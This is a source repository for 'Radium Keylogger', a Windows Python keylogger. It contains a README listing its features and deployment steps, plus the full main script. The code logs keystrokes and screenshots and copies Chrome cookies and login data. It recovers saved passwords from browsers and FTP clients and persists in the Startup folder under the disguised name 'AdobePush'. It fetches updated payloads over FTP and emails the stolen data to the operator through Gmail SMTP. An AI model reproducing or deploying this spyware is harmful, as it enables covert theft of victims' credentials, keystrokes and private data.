├── LICENSE ├── README.md ├── Radiumkeylogger.py ├── Recoveries ├── Coreftp.py ├── Filezilla.py ├── Mozilla.py ├── Test.py ├── __init__.py ├── chrome.py ├── constant.py ├── cyberduck.py ├── dotnet.py ├── ftpnavigator.py ├── network.py ├── outlook.py ├── putty.py ├── skype.py └── winscp.py ├── _config.yml └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 3 | _____ _ _ _ _ 4 | | __ \ | (_) | | | | 5 | | |__) |__ _ __| |_ _ _ _ __ ___ | | _____ _ _| | ___ __ _ __ _ ___ _ __ 6 | | _ // _` |/ _` | | | | | '_ ` _ \ | |/ / _ \ | | | |/ _ \ / _` |/ _` |/ _ \ '__| 7 | | | \ \ (_| | (_| | | |_| | | | | | | | < __/ |_| | | (_) | (_| | (_| | __/ | 8 | |_| \_\__,_|\__,_|_|\__,_|_| |_| |_| |_|\_\___|\__, |_|\___/ \__, |\__, |\___|_| 9 | __/ | __/ | __/ | 10 | |___/ |___/ |___/ 11 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 12 | 13 | --> Coded by: Mehul Jain 14 | --> For windows only 15 | 16 | ____ ____ ____ ____ ____ ____ ____ 17 | ______ _ 18 | | ____| | | 19 | | |__ ___ __ _| |_ _ _ _ __ ___ ___ 20 | | __/ _ \/ _` | __| | | | '__/ _ \/ __| 21 | | | | __/ (_| | |_| |_| | | | __/\__ \ 22 | |_| \___|\__,_|\__|\__,_|_| \___||___/ 23 | ____ ____ ____ ____ ____ ____ ____ 24 | 25 | --> Applications and keystrokes logging 26 | --> Screenshot logging 27 | --> Drive tree structure 28 | --> Logs sending by email 29 | --> Password Recovery for 30 | • Chrome 31 | • Mozilla 32 | • Filezilla 33 | • Core FTP 34 | • CyberDuck 35 | • FTPNavigator 36 | • WinSCP 37 | • Outlook 38 | • Putty 39 | • Skype 40 | • Generic Network 41 | --> Cookie stealer 42 | --> Keylogger stub update mechanism 43 | --> Gather system information 44 | • Internal and External IP 45 | • Ipconfig /all output 46 | • Platform 47 | ____ ____ ____ ____ ____ 48 | _ _ _____ ___ _____ _____ 49 | | | | / ___|/ _ \| __ \| ___| 50 | | | | \ `--./ /_\ \ | \/| |__ 51 | | | | |`--. \ _ | | __ | __| 52 | | |_| /\__/ / | | | |_\ \| |___ 53 | \___/\____/\_| |_/\____/\____/ 54 | ____ ____ ____ ____ ____ 55 | 56 | --> Download the libraries if you are missing any. 57 | --> Set the Gmail username and password and remember to check allow connection from less secure apps in gmail settings. 58 | --> Set the FTP server. Make the folder Radium in which you'll store the new version of exe. 59 | --> Set the FTP ip, username, password. 60 | --> Remember to encode the password in base64. 61 | --> Set the originalfilename variable in copytostartup(). This should be equal to the name of the exe. 62 | --> Make the exe using Pyinstaller 63 | --> Keylogs will be mailed after every 300 key strokes. This can be changed. 64 | --> Screenshot is taken after every 500 key strokes. This can be changed. 65 | --> Remember: If you make this into exe, change the variable "originalfilename" and "coppiedfilename" in function copytostartup(). 66 | --> Remember: whatever name you give to "coppiedfilename", should be given to checkfilename in deleteoldstub(). 67 | 68 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 69 | _____ _ _ _ _ 70 | |_ _| | (_) | | | | 71 | | | | |__ _ _ __ __ _ ___ | |_ ___ __ _____ _ __| | __ ___ _ __ 72 | | | | '_ \| | '_ \ / _` / __| | __/ _ \ \ \ /\ / / _ \| '__| |/ / / _ \| '_ \ 73 | | | | | | | | | | | (_| \__ \ | || (_) | \ V V / (_) | | | < | (_) | | | | 74 | \_/ |_| |_|_|_| |_|\__, |___/ \__\___/ \_/\_/ \___/|_| |_|\_\ \___/|_| |_| 75 | __/ | 76 | |___/ 77 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 78 | 79 | --> Persistance 80 | --> Taking screenshots after a specific time. Making it keystrokes independent. 81 | --> Webcam logging 82 | --> Skype chat history stealer 83 | --> Steam credential harvestor 84 | ``` 85 | # Requirements 86 | * Install [PyHook](https://sourceforge.net/projects/pyhook/) 87 | * Install [PyWin32](https://sourceforge.net/projects/pywin32/) 88 | * Install [Microsoft Visual C++ Compiler for Python](https://www.microsoft.com/en-us/download/details.aspx?id=44266) 89 | * Install [PyInstaller](http://www.pyinstaller.org/) 90 | 91 | # Tutorial 92 | [![Tutorial Radium Keylogger](https://i.imgur.com/Y1jE9Km.png)](https://youtu.be/T0h_427L8u4) 93 | -------------------------------------------------------------------------------- /Radiumkeylogger.py: -------------------------------------------------------------------------------- 1 | """ 2 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 3 | _____ _ _ _ _ 4 | | __ \ | (_) | | | | 5 | | |__) |__ _ __| |_ _ _ _ __ ___ | | _____ _ _| | ___ __ _ __ _ ___ _ __ 6 | | _ // _` |/ _` | | | | | '_ ` _ \ | |/ / _ \ | | | |/ _ \ / _` |/ _` |/ _ \ '__| 7 | | | \ \ (_| | (_| | | |_| | | | | | | | < __/ |_| | | (_) | (_| | (_| | __/ | 8 | |_| \_\__,_|\__,_|_|\__,_|_| |_| |_| |_|\_\___|\__, |_|\___/ \__, |\__, |\___|_| 9 | __/ | __/ | __/ | 10 | |___/ |___/ |___/ 11 | ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 12 | 13 | --> Coded by: Mehul Jain(mehulj94@gmail.com) 14 | --> Github: https://github.com/mehulj94 15 | --> Twitter: https://twitter.com/wayfarermj 16 | --> For windows only 17 | 18 | *For education purpose only. 19 | """ 20 | 21 | #Imported libraries 22 | import os 23 | import errno 24 | import socket 25 | import base64 26 | import pyHook 27 | import shutil 28 | import signal 29 | import smtplib 30 | import urllib2 31 | import getpass 32 | import logging 33 | import platform 34 | import win32api 35 | import pythoncom 36 | import subprocess 37 | import datetime 38 | from ftplib import FTP 39 | from PIL import ImageGrab 40 | from email import Encoders 41 | from Recoveries import Test 42 | from contextlib import closing 43 | from email.MIMEBase import MIMEBase 44 | from email.MIMEText import MIMEText 45 | from email.MIMEMultipart import MIMEMultipart 46 | 47 | #----------------------- 48 | ip = base64.b64decode("") #IP to connect to FTP server 49 | ftpkey = base64.b64decode("") #FTP password 50 | ftpuser = base64.b64decode("") #FTP username 51 | passkey = base64.b64decode("") #Password to connect to GMAIL smtp server 52 | userkey = base64.b64decode("") #Username to connect to GMAIL smtp server 53 | #----------------------- 54 | 55 | buffer = '' 56 | count_scr = 0 57 | count_letter = 0 58 | count_scremail = 0 59 | check_count = 1234 60 | SMTP_SERVER = "smtp.gmail.com" #SMTP server address 61 | 62 | #----------------------- 63 | filematch = 'ABCD.exe' #This name should be equal to exe that you'll upload in FTP folder. The current exe will update to this file 64 | #----------------------- 65 | 66 | directory = "/Radium" #The updated exe should reside in /Radium directory in FTP server 67 | 68 | current_system_time = datetime.datetime.now() #Get current system time 69 | 70 | #In this keylogger a folder "Intel" is made in C:\Users\Public\ 71 | #The keystrokes are saved in Logs folder by the name of IntelRST.txt 72 | #Screenshots are saved in a folder inside Logs 73 | #10 Screenshots are sent at a time and are moved to "ToZipScreenshots" for zipping them and send as attachment 74 | 75 | path = "C:\Users\Public\Intel\Logs" 76 | path_to_screenshot = "C:\Users\Public\Intel\Logs\Screenshots" #Screenshots are saved in this folder 77 | path_to_cookies = "C:\Users\Public\Intel\Logs" #Cookies will be moved to this folder 78 | dir_zip = "C:\Users\Public\Intel\Logs\ToZipScreenshots" #This folder will contain 10 screenshots and will zipped and sent as attachment 79 | file_log = 'C:\Users\Public\Intel\Logs\IntelRST.txt' #Contains keystrokes 80 | 81 | currentdir = os.getcwd() #Get current working directory 82 | currentuser = getpass.getuser() #Get current User 83 | 84 | try: 85 | ip_address = socket.gethostbyname(socket.gethostname()) #Get Ip address 86 | except: 87 | pass 88 | 89 | try: 90 | os.makedirs(path) 91 | os.makedirs(dir_zip) 92 | os.makedirs(path_to_screenshot) 93 | except OSError as exception: 94 | if exception.errno != errno.EEXIST: 95 | raise 96 | 97 | 98 | #Function to check if the computer is connected to Internet 99 | def internet_on(): 100 | try: 101 | response = urllib2.urlopen('https://www.google.co.in', timeout=20) 102 | return True 103 | except urllib2.URLError as err: 104 | pass 105 | return False 106 | 107 | def subprocess_args(include_stdout=True): 108 | if hasattr(subprocess, 'STARTUPINFO'): 109 | si = subprocess.STARTUPINFO() 110 | si.dwFlags |= subprocess.STARTF_USESHOWWINDOW 111 | env = os.environ 112 | else: 113 | si = None 114 | env = None 115 | 116 | if include_stdout: 117 | ret = {'stdout:': subprocess.PIPE} 118 | else: 119 | ret = {} 120 | 121 | ret.update({'stdin': subprocess.PIPE, 122 | 'stderr': subprocess.PIPE, 123 | 'startupinfo': si, 124 | 'env': env }) 125 | return ret 126 | 127 | #Function to get the Process ID 128 | def getpid(process_name): 129 | return [item.split()[1] for item in os.popen('tasklist').read().splitlines()[4:] if process_name in item.split()] 130 | 131 | #Function to get the Public IP 132 | def getpublicip(): 133 | try: 134 | return urllib2.urlopen('http://ip.42.pl/raw').read() 135 | except: 136 | pass 137 | 138 | #Function to get the System information 139 | def getsysinfo(): 140 | return platform.uname() 141 | 142 | #Function to get the output of command ipconfig /all 143 | def getipcnfg(): 144 | try: 145 | ipcfg_file = 'C:\Users\Public\Intel\Logs\ipcfg.txt' 146 | f = open(ipcfg_file, "w") 147 | f.write(subprocess.check_output(["ipconfig", "/all"], **subprocess_args(False))) 148 | f.close() 149 | except Exception as e: 150 | print e 151 | 152 | #Function to get save passwords from browsers, ftp clients and other programs 153 | def getpasswords(): 154 | passwords = Test.Result() 155 | return str(passwords.run()) 156 | 157 | #Function to combine all the slave information and save in the info.txt file 158 | def getslaveinfo(): 159 | slave_info = 'C:\Users\Public\Intel\Logs\info.txt' 160 | open_slave_info = open(slave_info, "w") 161 | try: 162 | open_slave_info.write(getpasswords() + "\n") 163 | except Exception as e: 164 | print e 165 | open_slave_info.write("\n------------------------------\n") 166 | try: 167 | open_slave_info.write(getpublicip() + "\n") 168 | except Exception as e: 169 | print e 170 | open_slave_info.write("\n------------------------------\n") 171 | try: 172 | open_slave_info.write(' '.join(str(s) for s in getsysinfo()) + '\n') 173 | except Exception as e: 174 | print e 175 | open_slave_info.close() 176 | 177 | #Function to delete the old exe after updating the current exe in slave pc 178 | def deleteoldstub(): 179 | checkfilename = 'AdobePush.exe' #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted. 180 | checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//' 181 | dircontent = os.listdir(checkdir) 182 | 183 | try: 184 | try: 185 | pids = getpid('AdobePush.exe') 186 | for id in pids: 187 | os.kill(int(id), signal.SIGTERM) 188 | except Exception as e: 189 | print e 190 | 191 | if checkfilename in dircontent: 192 | os.remove(checkdir + checkfilename) 193 | except Exception as e: 194 | print e 195 | 196 | #Function to copy the exe to startup 197 | def copytostartup(): 198 | try: 199 | #----------------------- 200 | originalfilename = "Radiumkeylogger.py" #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py 201 | #----------------------- 202 | #----------------------- 203 | coppiedfilename = 'AdobePush.py' #The file will be copied to startup folder by this name 204 | #----------------------- 205 | copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//' 206 | copyfromdir = currentdir + "\\" + originalfilename 207 | 208 | filesindir = os.listdir(copytodir) 209 | 210 | if coppiedfilename not in filesindir: 211 | try: 212 | shutil.copy2(copyfromdir, copytodir + coppiedfilename) 213 | except Exception as e: 214 | print e 215 | 216 | except Exception as e: 217 | print e 218 | 219 | return True 220 | 221 | #Function to list directories content upto 3 level 222 | def DriveTree(): 223 | file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt' #The drive hierarchy will be saved in this file 224 | drives = win32api.GetLogicalDriveStrings() 225 | drives = drives.split('\000')[:-1] 226 | no_of_drives = len(drives) 227 | file_dir_O = open(file_dir1, "w") 228 | 229 | for d in range(no_of_drives): 230 | try: 231 | file_dir_O.write(str(drives[d]) + "\n") 232 | directories = os.walk(drives[d]) 233 | next_dir = next(directories) 234 | 235 | next_directories = next_dir[1] 236 | next_files = next_dir[2] 237 | 238 | next_final_dir = next_directories + next_files 239 | 240 | for nd in next_final_dir: 241 | file_dir_O.write(" " + str(nd) + "\n") 242 | try: 243 | sub_directories = os.walk(drives[d] + nd) 244 | 245 | next_sub_dir = next(sub_directories)[1] 246 | next_sub_sub_file = next(sub_directories)[2] 247 | 248 | next_final_final_dir = next_sub_dir + next_sub_sub_file 249 | 250 | for nsd in next_final_final_dir: 251 | file_dir_O.write(" " + str(nsd) + "\n") 252 | 253 | try: 254 | sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd) 255 | 256 | next_sub_sub_dir = next(sub_sub_directories)[1] 257 | next_sub_sub_sub_file = next(sub_sub_directories)[2] 258 | 259 | next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file 260 | 261 | for nssd in next_final_final_final_dir: 262 | file_dir_O.write(" " + str(nssd) + "\n") 263 | except Exception as e: 264 | pass 265 | 266 | except Exception as e: 267 | pass 268 | except Exception as e: 269 | pass 270 | 271 | file_dir_O.close() 272 | return True 273 | 274 | #Function to send the data i.e. info.txt, chrome data, login data, screenshots 275 | def sendData(fname, fext): 276 | attach = "C:\Users\Public\Intel\Logs" + '\\' + fname + fext 277 | 278 | ts = current_system_time.strftime("%Y%m%d-%H%M%S") 279 | SERVER = SMTP_SERVER 280 | PORT = 465 281 | USER = userkey 282 | PASS = passkey 283 | FROM = USER 284 | TO = userkey 285 | 286 | SUBJECT = "Attachment " + "From --> " + currentuser + " Time --> " + str(ts) 287 | TEXT = "This attachment is sent from python" + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address 288 | 289 | message = MIMEMultipart() 290 | message['From'] = FROM 291 | message['To'] = TO 292 | message['Subject'] = SUBJECT 293 | message.attach(MIMEText(TEXT)) 294 | 295 | part = MIMEBase('application', 'octet-stream') 296 | part.set_payload(open(attach, 'rb').read()) 297 | Encoders.encode_base64(part) 298 | part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach)) 299 | message.attach(part) 300 | 301 | try: 302 | server = smtplib.SMTP_SSL() 303 | server.connect(SERVER, PORT) 304 | server.ehlo() 305 | server.login(USER, PASS) 306 | server.sendmail(FROM, TO, message.as_string()) 307 | server.close() 308 | except Exception as e: 309 | print e 310 | 311 | return True 312 | 313 | #Fucntion to steal chrome cookies 314 | def cookiestealer(): 315 | cookiepath = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default' 316 | 317 | cookiefile = 'Cookies' 318 | historyfile = 'History' 319 | LoginDatafile = "Login Data" 320 | 321 | copycookie = cookiepath + "\\" + cookiefile 322 | copyhistory = cookiepath + "\\" + historyfile 323 | copyLoginData = cookiepath + "\\" + LoginDatafile 324 | 325 | filesindir = os.listdir(path_to_cookies) 326 | 327 | if copycookie not in filesindir: 328 | try: 329 | shutil.copy2(copycookie, path_to_cookies) 330 | except: 331 | pass 332 | 333 | 334 | if copyhistory not in filesindir: 335 | try: 336 | shutil.copy2(copyhistory, path_to_cookies) 337 | except: 338 | pass 339 | 340 | 341 | if copyLoginData not in filesindir: 342 | try: 343 | shutil.copy2(copyLoginData, path_to_cookies) 344 | except: 345 | pass 346 | 347 | return True 348 | 349 | #Function to move all the files that are to be sent via email to one place 350 | def MoveAttachments(f_name): 351 | arch_name = "C:\Users\Public\Intel\Logs\\" + f_name 352 | if f_name == 'Screenshots': 353 | files = os.listdir(arch_name) 354 | try: 355 | for i in range(10): 356 | try: 357 | shutil.move(arch_name + "\\" + files[i], dir_zip) 358 | except Exception as e: 359 | print e 360 | except Exception as e: 361 | print e 362 | else: 363 | try: 364 | shutil.move(arch_name, dir_zip) 365 | except Exception as e: 366 | print e 367 | 368 | #Function to zip the files 369 | def ZipAttachments(f_name): 370 | arch_name = "C:\Users\Public\Intel\Logs\\" + f_name + "Attachments" 371 | files = os.listdir(dir_zip) 372 | 373 | try: 374 | shutil.make_archive(arch_name, 'zip', dir_zip) 375 | except Exception as e: 376 | pass 377 | 378 | for j in range(len(files)): 379 | try: 380 | os.remove(dir_zip + "\\" + files[j]) 381 | except Exception as e: 382 | print e 383 | 384 | #Function to take screenshot 385 | def TakeScreenShot(): 386 | ts = current_system_time.strftime("%Y%m%d-%H%M%S") 387 | try: 388 | scrimg = ImageGrab.grab() 389 | scrimg.save(path_to_screenshot + '\\' + str(ts) + '.png') 390 | except Exception as e: 391 | print e 392 | return True 393 | 394 | #Function to upgrade the exe via ftp 395 | def ftpupdate(): 396 | try: 397 | chtodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//' 398 | try: 399 | os.chdir(chtodir) 400 | except Exception as e: 401 | print e 402 | 403 | ftp = FTP(ip) 404 | ftp.login(ftpuser, ftpkey) 405 | ftp.cwd(directory) 406 | 407 | for filename in ftp.nlst(filematch): 408 | fhandle = open(filename, 'wb') 409 | ftp.retrbinary('RETR ' + filename, fhandle.write) 410 | fhandle.close() 411 | 412 | if filematch in os.listdir(chtodir): 413 | deleteoldstub() 414 | except Exception as e: 415 | print e 416 | 417 | return True 418 | 419 | #Function to send key strokes via email 420 | def email(): 421 | log_text = open(file_log, "rb") 422 | logtext = log_text.readlines() 423 | len_logtext = len(logtext) 424 | data = "" 425 | if internet_on() == True: 426 | for i in range(len_logtext): 427 | data = data + logtext[i] 428 | ts = current_system_time.strftime("%Y%m%d-%H%M%S") 429 | SERVER = SMTP_SERVER 430 | PORT = 465 431 | USER = userkey 432 | PASS = passkey 433 | FROM = USER 434 | TO = [userkey] 435 | SUBJECT = "Keylogger data " + "from --> " + currentuser + " Time --> " + str(ts) 436 | MESSAGE = data + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address 437 | message = """\ 438 | From: %s 439 | To: %s 440 | Subject: %s 441 | 442 | %s 443 | """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) 444 | try: 445 | server = smtplib.SMTP_SSL() 446 | server.connect(SERVER, PORT) 447 | server.ehlo() 448 | server.login(USER, PASS) 449 | server.sendmail(FROM, TO, message) 450 | data = '' 451 | server.close() 452 | log_text = open(file_log, 'w') 453 | log_text.close() 454 | except Exception as e: 455 | print e 456 | return True 457 | 458 | #Catching the key strokes and emailing them 459 | def OnKeyboardEvent(event): 460 | global count_letter 461 | global count_scr 462 | global count_scremail 463 | global buffer 464 | logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 465 | 466 | if event.Ascii == 13: 467 | 468 | buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer 469 | logging.log(10, buffer) 470 | buffer = '' 471 | count_letter = count_letter + 1 472 | count_scr = count_scr + 1 473 | 474 | elif event.Ascii == 8: 475 | 476 | buffer = buffer[:-1] 477 | count_letter = count_letter + 1 478 | count_scr = count_scr + 1 479 | 480 | elif event.Ascii == 9: 481 | 482 | keys = '\t' 483 | buffer = buffer + keys 484 | count_letter = count_letter + 1 485 | count_scr = count_scr + 1 486 | 487 | elif event.Ascii >= 32 and event.Ascii <= 127: 488 | 489 | keys = chr(event.Ascii) 490 | buffer = buffer + keys 491 | count_letter = count_letter + 1 492 | count_scr = count_scr + 1 493 | 494 | if count_letter == 300: 495 | count_letter = 0 496 | email() #Keystrokes will be emailed after every 300 key strokes 497 | 498 | if count_scr == 500: 499 | count_scr = 0 500 | TakeScreenShot() #Screenshot will be taken after 500 key strokes 501 | count_scremail += 1 502 | if count_scremail == 10: 503 | count_scremail = 0 504 | MoveAttachments('Screenshots') 505 | ZipAttachments('Screenshots') 506 | sendData('ScreenshotsAttachments', '.zip') #Screenshots will be emailed 10 at a time 507 | 508 | return True 509 | 510 | try: 511 | copytostartup() #Copying the file to startup 512 | except Exception as e: 513 | print e 514 | 515 | if internet_on() == True: #If internet is On 516 | try: 517 | if check_count == 1234: 518 | check_count = 0 519 | #Checking and updating the exe via ftp 520 | try: 521 | ftpupdate() 522 | except Exception as e: 523 | print e 524 | #Sending the attachments Directory tree, History, Login Data, Cookies, IP config and save passwords 525 | files_in_dir = os.listdir(path) 526 | if "DHLCiAttachments.zip" not in files_in_dir: 527 | DriveTree() 528 | try: 529 | cookiestealer() 530 | except Exception as e: 531 | print e 532 | getipcnfg() 533 | getslaveinfo() 534 | #Moving the attachment before zipping them and send 535 | try: 536 | MoveAttachments('Dir_View.txt') 537 | MoveAttachments('History') 538 | MoveAttachments('Login Data') 539 | MoveAttachments('Cookies') 540 | MoveAttachments('ipcfg.txt') 541 | MoveAttachments('info.txt') 542 | except Exception as e: 543 | print e 544 | #Zipping the files 545 | ZipAttachments('DHLCi') 546 | #Sending the zip file 547 | sendData("DHLCiAttachments", ".zip") 548 | 549 | ts = current_system_time.strftime("%Y%m%d-%H%M%S") 550 | SERVER = SMTP_SERVER 551 | PORT = 465 552 | USER = userkey 553 | PASS = passkey 554 | FROM = USER 555 | TO = [userkey] 556 | SUBJECT = currentuser + ' : Slave is connected ' 557 | MESSAGE = 'IP Address ---> ' + ip_address + '\nTime --> ' + str(ts) 558 | message = """\ 559 | From: %s 560 | To: %s 561 | Subject: %s 562 | 563 | %s 564 | """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) 565 | try: 566 | server = smtplib.SMTP_SSL() 567 | server.connect(SERVER, PORT) 568 | server.ehlo() 569 | server.login(USER, PASS) 570 | server.sendmail(FROM, TO, message) 571 | data = '' 572 | server.close() 573 | except Exception as e: 574 | print e 575 